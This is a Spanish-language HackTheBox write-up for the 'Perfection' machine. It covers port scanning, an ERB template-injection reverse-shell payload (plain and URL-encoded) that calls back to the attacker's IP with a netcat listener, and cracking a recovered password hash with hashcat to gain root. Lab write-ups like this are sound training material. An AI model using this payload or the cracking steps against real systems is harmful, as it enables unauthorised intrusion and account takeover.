Perfection
Maquina Perfection HTB
Name: Perfection
OS: Linux Machine
Difficulty: Easy
Target IP: 10.129.229.121
My IP: 10.10.14.212
Reconocimiento
Este paso suele ser el mismo siempre, una vez que estamos seguros que la maquina funciona, se lanzara un nmap para revisar que esta funcionando.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.229.121
Nmap scan report for 10.129.229.121
Host is up, received user-set (0.18s latency).
Scanned at 2024-06-25 21:45:24 UTC for 28s
Not shown: 57529 filtered tcp ports (no-response), 8004 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Luego se realiza un scaneo con la flag -sCV de nmap en cada puerto encontrado, donde (-sC) utiliza los scripts basicos de nmap y (-sV) extrae las versiones
nmap -sCV -p 22,80 10.129.229.121
Nmap scan report for 10.129.229.121
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_ 256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp open http nginx
|_http-title: Weighted Grade Calculator
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Esto nos confirma que es una maquina Linux. Para detallar el puerto 22, buscamos en google OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 launchpad, podemos comprobar que es un Ubuntu Jammy.
Antes de ingresar al puerto 80, que corresponde a un sitio web apache, vamos a revisar con whatweb que utiliza.
whatweb http://10.129.229.121
De esto tenemos dos cosas importantes, uno, el sitio funciona con Nginx y esta programado en Ruby, agregando la vulnerabilidad SSTI en la ecuacion. Ahora que ya tenemos una vision basica del target, solo queda explorar directamente que podemos encontrar.
Explorando el sitio web
Al explorar el sitio web, podemos encontrar 2 cosas, la version de WEBrick, y un punto donde podemos ingresar valores, estos no pueden superar el 100%.
Al realizar varias pruebas, con payloads provenientes de https://github.com/payloadbox/ssti-payloads, con el payload no URL-encoded recibimos muchas respuestas que indican el bloqueo de codigo malicioso, pero si se utiliza el payload encoded del mismo github, podemos apreciar que si se puede realizar una injeccion remota de comando.
Ahora que sabemos que existe un SSTI, buscamos en https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#erb-ruby la informacion necesaria para armar el payload, encontramos que es posible utilizar <%= system('COMANDO') %>, donde el comando para generar la reverse shell se puede obtener de https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet.
<%= system("bash -c 'bash -i >& /dev/tcp/10.10.14.212/3333 0>&1'") %>
%0a%3c%25%3d%20system(%22bash%20-c%20'bash%20-i%20%3e%26%20%2fdev%2ftcp%2f10.10.14.212%2f6666%200%3e%261'%22)%20%25%3e%0a
category1=test%0a%3c%25%3d%20system(%22bash%20-c%20'bash%20-i%20%3e%26%20%2fdev%2ftcp%2f10.10.14.212%2f6666%200%3e%261'%22)%20%25%3e%0a&grade1=100&weight1=20&category2=B&grade2=100&weight2=20&category3=C&grade3=100&weight3=20&category4=D&grade4=100&weight4=20&category5=E&grade5=100&weight5=20
Antes de enviar la solicitud con el codigo, en tu terminal utiliza nc -nlvp 6666, para recibir la reverse shell.
Ahora solo queda ir a /home/susan y revisar el archivo user.txt
Privileges Escalation
Al intentar utilizar sudo, se puede apreciar que susan si puede, por lo tanto, solo queda encontrar su contraseña para ejecutar el comando sudo su. Tambien, al ingresar en la carpeta “Migration”, veras un archivo .db, en ese lugar encontraras un hash.
Pero al utilizar Strings, encontraras AUN más cosas.
Ahora solo queda buscar el origen de la estructura de las contraseñas… despues de una larga busqueda, se encontro.
Guardaremos en hash en nuestra maquina local, en un archivo, y usaremos hashcat para crackear. De seguro es mySQL, por lo tanto, el hash a utilizar sera SHA2-256 (-m 1400). Y utilizamos nueve “?d" para los digitos.
echo "abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f" > hash.txt
hashcat -m 1400 hash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d
hashcat -m 1400 hash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d --show
susan_nasus_413759210
Ahora con la password en mano, solo queda ingresar por ssh y obtener /root/root.txt
ssh susan@10.129.229.121
sudo su
cat /root/root.txt
<FLAG>
Last updated